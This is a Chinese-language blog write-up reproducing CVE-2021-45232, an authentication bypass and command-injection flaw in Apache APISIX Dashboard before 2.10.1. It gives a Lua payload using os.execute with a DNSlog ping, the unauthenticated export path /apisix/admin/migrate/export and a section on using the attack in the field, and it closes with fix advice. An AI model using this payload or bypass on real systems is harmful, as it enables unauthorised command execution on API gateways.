CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现

0x00 前言

之前出了一期Apache APISIX Dashboard风险提示的文章,今天来复现一个这个漏洞

--学如逆水行舟,不进则退

0x01 漏洞简介

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。

该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

0x02 影响版本

APISIX Dashboard<2.10.1

安全的版本:2.10.1

0x03 环境搭建

1.环境搭建(这里使用github上的环境,使用以下命令进行克隆)

git clone https://github.com/apache/apisix-docker        //克隆
cd apisix-docker/example/           、、进去到目录下
vim docker-compose.yml     //修改版本号

 2.修改的地方如下

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第1张图片

 

3.修改完成之后,使用以下命令启动

docker-compose up -d

4.启动成功访问ip:9000出现以下图片,说明搭建成功

 CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第2张图片

 0x04 漏洞复现

1.使用admin,admin默认密码登入后台,创建一个上游,如下图

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第3张图片

 2.上游的名称随便写,主机名,端口也随便写,然后一直点下一步,点击提交

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第4张图片

 3.创建好上游之后,再创建一个路由

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第5张图片

4.创建路由时,只需把选择上游服务选择为上面的创造的上游,即可一直点下一步,直到提交完成

,路由创建好之后,点击 如下图配置处

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第6张图片

5.点击配置之后,一直点下一步,在最后点提交的时候,进行抓包,插入以下字段

"script":"os.execute('ping dnslog地址')",,如下图(ping后面为dnslog地址)

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第7张图片

 6.修改放包之后,在路由的最右侧有个更多,点击更多-查看-,会发现已经覆盖为我们的命令

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第8张图片

7.访问ip:8090/test,会执行,发现dnslog有回显,说明可以命令执行

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第9张图片

 0x05 实战如何操作

 上面为漏洞复现,具体实战,弱口令进不去的情况下,可以进行路径拼接,绕过身份验证下载路由等信息,然后通过抓包,利用下载的路由信息文件里的信息,构造payload,覆盖路由配置,也就是说覆盖为我们要执行的命令,之后和上面一样,访问路由,即可命令执行成功

拼接路径为: /apisix/admin/migrate/export ,如下图

  CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第10张图片  

 拼接路径之后,下载的文件即为我们之前漏洞复现时,路由以及上游的信息。

可以通过下载到的信息,构造如漏洞复现时的payload进行命令执行

实战构造payload注意点:::  1."script":"os.execute('ping dnslog地址')",这个payload可以不变

2.只需要把下载文件中的信息在bp中写入,然后结合payload发包,即可执行

修改的结构如下

CVE-2021-45232 Apache APISIX Dashboard RCE漏洞复现_第11张图片

 0x06 修复建议

1.升级到安全版本

     下载链接:Releases · apache/apisix-dashboard · GitHub

2.修改默认账户的账号密码,或通过白名单的方式限制访问的源IP

 

 

你可能感兴趣的:(漏洞,apache,dashboard,安全)